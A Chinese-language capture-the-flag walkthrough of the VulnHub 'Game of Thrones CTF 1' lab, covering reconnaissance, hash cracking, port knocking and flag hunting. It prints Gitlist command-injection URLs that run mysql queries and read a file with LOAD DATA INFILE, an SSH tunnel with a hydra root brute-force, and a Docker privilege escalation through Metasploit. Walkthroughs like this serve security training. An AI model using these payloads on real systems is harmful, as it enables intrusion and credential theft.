0x00 说明
虚拟机地址:https://www.vulnhub.com/entry/game-of-thrones-ctf-1,201/
这个靶机的难度较高,过程并不是一气呵成,所以经过了多次更换网络和IP的过程,ip略有混乱,请见谅。
之前这个靶机在这里出现过,但是我认为文中有很多疏漏和不合逻辑的地方,因为这个靶机完成度相当高,所有的破解方法均有提示,并不存在需要特别大的脑洞猜想的地方,所以我决定写一篇完全可以复现的秘籍。
0x01 信息获取
首先用nmap扫描,Ping scan :nmap -sn 192.168.50.0/22 ,探测到虚拟机ip为192.168.50.215,再使用
nmap -p 1-65535 -T4 -A -v 192.168.50.215 ,探测所有tcp端口,发现如下信息:
信息比较多的端口是80端口,访问一下,主题曲响起,讲究!
查看一下robots.txt文件:
分别是:
http://192.168.50.215/the-tree/
http://192.168.50.215/secret-island/
http://192.168.50.215/direct-access-to-kings-landing/
依次访问,从secret-island中发现了指导性的信息:
成功得到地图!
上面记录了本次游戏的关键点和目标,与冰与火之歌的各国相对应,讲究!
除了常规的7个任务和最终任务外,还有3个秘密flag在其中,这3个flag与最终战役有很大的关系,必须要收集到。
来看看另一个地址:
看出什么端倪了吗?注释的提示中的大写字母抽出来:USER AGENT,结合robots.txt中的提示,应该是要换header。
挂上代理在burp中抓包,将User-Agent: Three-eyed-raven添加到请求头中,发送数据包。
内容如下:
<!--
"I will give you three hints, I can see the future so listen carefully" - The three-eyed raven Bran Stark
"To enter in Dorne you must identify as oberynmartell. You still should find the password"
"3487 64535 12345 . Remember these numbers, you'll need to use them with POLITE people you'll know when to use them"
"The savages never crossed the wall. So you must look for them before crossing it"
-->
花点儿时间,通过扫描后台,可以发现更多的秘密:
发现一个新的页面:
http://192.168.50.215/raven.php
查看源代码,发现如下提示,目前还没有什么头绪,先记下来:
http://192.168.110.129/direct-access-to-kings-landing/
直接访问是行不通的,不过好像暗示了什么:
Music?野兽都能懂?同时考虑一下三眼乌鸦的第三个指示,让我们把音乐下载下来,用exiftool查看文件信息:
https://sno.phy.queensu.ca/~phil/exiftool/
Savages secret flag: 8bf8854bebe108183caeb845c7676ae4
这样获得了第一个秘密flag!
现在根据地图的指引,让我们开始下一步吧!
0x02 初到多恩
经过完整的扫描,又发现了如下的奇怪路径:
源代码中的提示:
<!--"My little birds are everywhere. To enter in Dorne you must say: A_verySmallManCanCastAVeryLargeShad0w .
Now, you owe me" - Lord (The Spider) Varys
"Powerful docker spells were cast over all kingdoms.
We must be careful! You can't travel directly from one to another... usually.
That's what the Lord of Light has shown me" - The Red Woman Melisandre
-->
结合nmap中ftp的banner信息
明显,这便是地图上提到的第一个flag的所在地,Dorne(FTP)
提示中只提到了口令,但是却没有将用户名告诉我们,突然想到,前面三眼乌鸦提示过我们,进入Dorne需要的身份是oberynmartell(奥柏伦·马泰尔,人称沙蛇,ftp的banner中也提到了沙蛇女),这样我们得到了第一个通行证。
可以看到第一个flag已经出现了~
0x03 攻略北境王国
进入ftp:
problems_in_the_north.txt内容如下:
很明显要用上面的方法对下面的密码进行解密。
加密方式是:md5(md5($salt).$pass)
nobody:6000e084bf18c302eae4559d48cb520c$2hY68a
通过查阅资料(hashcat official wiki),这种加密方式只在hashcat-legacy 中支持。
同时发现,根据工具支持的格式,拿到的hash还需要把"$"改为":"
6000e084bf18c302eae4559d48cb520c:2hY68a
github中的地址为:https://github.com/hashcat/hashcat-legacy
但是可以看到,最新版的hashcat已经去掉了这种加密方式的破解,所以我们还得找一个旧版本
https://hashcat.net/files_legacy/hashcat-2.00.7z
ok得到密码:stark
联想到之前提到的pass through the wall的方法是mcrypt:
使用mcrypt解密,密码就是上面解密的MD5
直接访问域名发现并不能进入,而往上看,I'll write on your map this route to get faster to Winterfell.
这句话暗示了要将这个域名加入到hosts,方便访问,不过我想先走个捷径,试试直接访问:
结果被自己的懒惰给坑了,还被无情的嘲笑。。。
结果加入hosts之后,一直无法访问到,尝试各种方法后,确定应该是需要更改DNS并刷新缓存,清空浏览器历史记录,这样才不会被之前的DNS弄到别处去。
由于解决这个问题用时太长,已经很晚了,决定先休息,第二天到单位再做,我将靶机转移到了主机模式,这里IP变成了192.168.110.129。
查看源代码得到第二个flag:
0x04 进军铁群岛
从提示中可以看到,盾徽是个突破口:
这是一个简单的隐写术。
用文本方式打开,在最后会出现这样一段话:
"Timef0rconqu3rs TeXT should be asked to enter into the Iron Islands fortress" - Theon Greyjoy
看来,下一步的关键点已经有了,那我们就向着目标出发吧!
地图显示,第三个目标在DNS上,而上面的暗示指出TXT记录可能包含些什么,这时我们可以使用nslookup工具对dns记录进行查看。
nslookup最简单的用法是查询域名对应的IP地址:
可以查询包括A记录、MX记录、NS记录、CNAME记录、TXT记录。
格式为:nslookup -qt=txt 域名
这样,我们构造一个命令,查看一下靶机dns的txt记录,得到第三个flag:
0x05 前往风暴地
从上面的提示中,目标直指风暴地(stormlands),访问端口10000
Enter using this user/pass combination: aryastark/N3ddl3_1s_a_g00d_sword#!
随便搜索一些什么(这一步比较坑,现在出于安全考虑,给java程序设置设置了一堆的坎,尤其是firefox都禁用了java程序,这里推荐使用IE,把域名加到java的例外列表里才能正常显示小程序,侧面反映出IE的不安全性233)
找到flag.txt,打开如下:
0x06 山谷王国
回头看看地图,山谷王国指的是PostgreSQL,在nmap里我们扫到过这个服务:
现在我们用用户名密码登录一下试试看:
查阅一下PostgreSQL常用命令,了解清楚后,链接数据库:
$psql -U user_name -d database_name -h serverhost
很明显这是一段base64编码,祭出工具转换一下:
不仅得到了flag,同时也获得了下一站的账号密码。
这里留个心,虽然让我们马上去下一站,但是我们注意到数据库里还有很多其他的数据表,浏览一下看看。首先select * from aryas_kill_list
死亡笔记吗??!!再看看其他的。
下一个是braavos_book,布拉沃斯?好像哪里见过,对了翻开地图看看,哈哈,果然,隐藏的flag哦。
select * from braavos_book;
咦?9是什么?看起来是一串经过加密的字串,经过分析和尝试,这是用ROT16加密的字符串,解密之后
The many-faced god wants you to change your face. He wants you to identify as one of your kill list. Select it based on this book's lost page number. The database to connect will be braavos and your password will be: ValarMorghulis
看来是要让我们遍历一下死亡笔记里的名单了,先记下放一放,把其他的信息看完。
继续收集信息,万一有用呢?select * from eyrie;这是鹰巢城的艾林家族。
select * from popular_wisdom_book;
好,回到刚才的数据库名单和密码,挨个试一遍吧,最后我们发现TheRedWomanMelisandre是用户名
得到秘密flag,好现在我们前往Kingdom of the Reach。
0x07 河湾王国
看看地图,入口是imap,但是端口没有打开,有什么头绪吗?
前面最开始三眼乌鸦告诉了我们三条线索,第二条可以派上用场了
"3487 64535 12345 . Remember these numbers, you'll need to use them with POLITE people you'll know when to use them"
POLITE people ?好像也在那里见过,前面我们获得了popular_wisdom_book,其中便有这样的字眼:
好吧,需要敲门,这是一个安全机制,端口敲门服务(knockd),查下资料,看看这是啥。
这个该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”。
通过这种方法使系统开启需要访问的服务端口,才能对外访问。
不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。
端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击。
端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP、TCP数据包。当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过。
由于对外的Linux服务器通过限制IP地址的方式来控制访问,因此可以利用这种端口试探方式来进行防火墙对于访问IP地址的控制。
使用工具对三眼乌鸦说的三个端口号进行敲门吧:
这是端口敲门的官网,从里面可以找到需要的工具,也可以到github上找到很多,
我在里面选择了一款python的工具,knock,尝试一下吧:
git@github.com:grongor/knock.git
有兴趣的也可以看看代码学习一下~
先扫一下143端口,是被防火墙过滤掉的:
使用knock工具进行敲门:
143端口成功打开:
nc 192.168.110.129 143
直接连接到143后,需要用命令进行邮件操作,简要的操作如下:
A01 LOGIN abc 123 #用户登录
A02 LIST "" * #列出所有信箱列表
A03 Select INBOX #选择收件箱
A04 Search ALL #查询收件箱所有邮件
A05 Search new #查询收件箱所有新邮件
A06 Fetch 5 full #获取第5封邮件的邮件头
A07 Fetch 5 rfc822 #获取第5封邮件的完整内容
A08 Fetch 5 flags #查询第5封邮件的标志位
A09 Store 5 +flags.silent (/deleted) #设置标志位为删除
A10 Expunge #永久删除当前邮箱INBOX中所有设置了/deleted标志的信件
A11 noop # 空语句
A20 LOGOUT #退出
输入的每条命令都需要加上标签,也可以直接输入a+命令:
a login olennatyrell@7kingdoms.ctf H1gh.Gard3n.powah
得到如下的邮件 :
Congratulations!!
You conquered the Kingdom of the Reach. This is the flag: aee750c2009723355e2ac57564f9c3db
Now you can auth on next Kingdom (The Rock, port 1337) using this user/pass combination:
User: TywinLannister
Pass: LannisterN3verDie!
"The things I do for love..." - Jaime (Kingslayer) Lannister
在收件箱的这唯一一封邮件中,我们找到了flag。
0x08 征服凯岩王国与君临
下一步是凯岩王国,端口是1337,但是可以看到1337是关闭的,这是怎么回事?
重启虚拟机、重新导入虚拟机都不奏效,突然想到,我做出的改变只是网络的连接方式,会不会和这个有关?
于是我将网络恢复到桥接模式于是:
大门终于出现在我的面前!
登录进去,是一个gitlist
大致浏览一下:
2f686f6d652f747972696f6e6c616e6e69737465722f636865636b706f696e742e747874 十六进制,转成ascii码试试
/home/tyrionlannister/checkpoint.txt
这应该是我们需要得到的文件,但是这是用在哪里的呢?
会不会是之前我们在网页里java程序那里呢?
并没有,那这是怎么得到呢,翻翻看地图,发现和mysql有关。
那有可能就是注入喽?但注入点在哪里?
还是google一下吧,最后查到Gitlist存在一个远程代码执行漏洞,比如这样:
很明显,返回的错误中执行了代码,那么让我们看下这个文件试试:
找到去往君临的关键:
user/pass: cerseilannister/_g0dsHaveNoMercy_
db: kingslanding
http://192.168.48.189:1337/casterly-rock/blob/master/"a"`mysql -h 192.168.48.189 -u cerseilannister -p_g0dsHaveNoMercy_ -D kingslanding --execute="show tables;"`
http://192.168.48.189:1337/casterly-rock/blob/master/"a"`mysql -h 192.168.48.189 -u cerseilannister -p_g0dsHaveNoMercy_ -D kingslanding --execute="SELECT * from iron_throne;"`
-..-. . - -.-. -..-. -- -.-- ... --.- .-.. -..-. ..-. .-.. .- -- 很明显是摩斯码。
翻译一下:/ETC/MYSQL/FLAG
但是当我们尝试去查看这个文件时却发现文件并不存在,这是怎么回事?
在摩斯密码的后面还有一点儿提示,告诉我们在这里有特权,看看都有啥:
http://192.168.48.189:1337/casterly-rock/blob/master/"a"`mysql -h 192.168.48.189 -u cerseilannister -p_g0dsHaveNoMercy_ -D kingslanding --execute="show grants;"`
可以看到有file、grant、select、insert、create,猜想,我们有可能需要使用特权把flag的内容导入一个新的表中,这样我们就可以查看了。
http://192.168.48.189:1337/casterly-rock/blob/master/"a"`mysql -h 192.168.48.189 -u cerseilannister -p_g0dsHaveNoMercy_ -D kingslanding --execute="CREATE TABLE test (flag TEXT);"`
http://192.168.48.189:1337/casterly-rock/blob/master/"a"`mysql -h 192.168.48.189 -u cerseilannister -p_g0dsHaveNoMercy_ -D kingslanding --execute="LOAD data INFILE '/etc/mysql/flag' INTO TABLE test;"`
http://192.168.48.189:1337/casterly-rock/blob/master/"a"`mysql -h 192.168.48.189 -u cerseilannister -p_g0dsHaveNoMercy_ -D kingslanding --execute="select * from test;"`
Ssh user-pass: daenerystargaryen-.Dracarys4thewin.
好,这下我们得到了7个flag中的最后一个,还有SSH的用户名密码,这是最终战场的入口。
0x09 最终决战
在决战前要先找到必要的武器,Dragonglass是必须的,所以我们先来寻找一下吧!
成功登陆ssh,先来收集情报吧:
提示中说,这里是通往172.25.0.2的唯一入口,这有可能是这里并没有 fail2ban 的功能,这给了我们暴力破解root权限的可能性,而且还存在digger.txt这个字典,用scp命令把这个文件下载到本地,用Hydra来进行暴破吧:
scp daenerystargaryen@192.168.48.189:/home/daenerystargaryen/digger.txt ./digger.txt
ssh daenerystargaryen@192.168.48.189 -L 12345:172.25.0.2:22 -N
hydra -l root -P digger.txt ssh://localhost:12345
可以看到已经得到了结果:
login: root password: Dr4g0nGl4ss!
通过ssh登录到172.25.0.2
探查一番
找到了这里的秘密flag!
Host's ssh:
branstark/Th3_Thr33_Ey3d_Raven
进入真正的最终决战:
看来最后一战已经来临,但是并没有发现什么线索。得从系统级别的漏洞进行考虑了:
我们并不是root权限,所以思路就是要提权,通过查看id,发现这是一个docker虚拟机,然后查看一下版本,经过查询,docker存在一个本地提权漏洞(参考https://www.exploit-db.com/exploits/40394/)需要用到metasploit
是时候祭出大杀器了:
成功提权,去root里看看:
把文件拷贝回来
用7z打开:
看来是要破解checkpoint中的密码了
三个秘密flag是:
8bf8854bebe108183caeb845c7676ae4
3f82c41a70a8b0cfec9052252d9fd721
a8db1d82db78ed452ba0882fb9554fc9
密码的公式是:
concat(
substr(secret_flag1, strlen(secret_flag1) - 10, strlen(secret_flag1)),
substr(secret_flag2, strlen(secret_flag2) - 10, strlen(secret_flag2)),
substr(secret_flag3, strlen(secret_flag3) - 10, strlen(secret_flag3))
)
简单用python写段代码,跑一下:
str1="8bf8854bebe108183caeb845c7676ae4"
str2="3f82c41a70a8b0cfec9052252d9fd721"
str3="a8db1d82db78ed452ba0882fb9554fc9"
str0=str1[len(str1)-10:len(str1)]+str2[len(str2)-10:len(str2)]+str3[len(str3)-10:len(str3)]
print str0
结果是:45c7676ae4252d9fd7212fb9554fc9
顺利打开压缩包:
Final Battle flag: 8e63dcd86ef9574181a9b6184ed3dde5
_
___ _ _ _ ___ ___ _| |
| . | | | | | -_| . |
| _|_____|_|_|___|___|
|_|
You won the battle against White Walkers. You pwned the Game of Thrones CTF!!! (v1.0 September 2017)
Now the seven kingdoms can rest in peace for a long time ruled by a true king/queen.
Congratulations and I hope you enjoyed the experience as much as me making it!!
Designed by Oscar Alfonso (OscarAkaElvis or v1s1t0r)
Contact: v1s1t0r.1s.h3r3@gmail.com
https://github.com/OscarAkaElvis/game-of-thrones-hacking-ctf
A last little present! you can get now all the flags ordered:
Dorne
Winterfell
Iron Islands
Stormlands
Mountain and the Vale
Reach
Rock and King's Landing
Savages
City of Braavos
Dragonglass Mine
Final Battle
Get the word of each one using https://crackstation.net or any other md5 online crack service to get a phrase in a row!!
把这些flag归位到这个文件里,破解这些MD5:
就这样,我们顺利完成了任务,赢得了最后的胜利!又一次守护了世界和平!
这个靶机完成度真的是相当的高,而且玩起来特别有意思,学到了很多,很开心,希望以后有更多高质量的靶机供大家happy!
参考资料
http://k3ramas.blogspot.com/2017/11/game-of-thrones-ctf-1-walkthrough_1.html
https://blog.vonhewitt.com/2017/11/game-thrones-ctf-1-vulnhub-writeup
*本文作者:ksufer,转载请注明来自FreeBuf.COM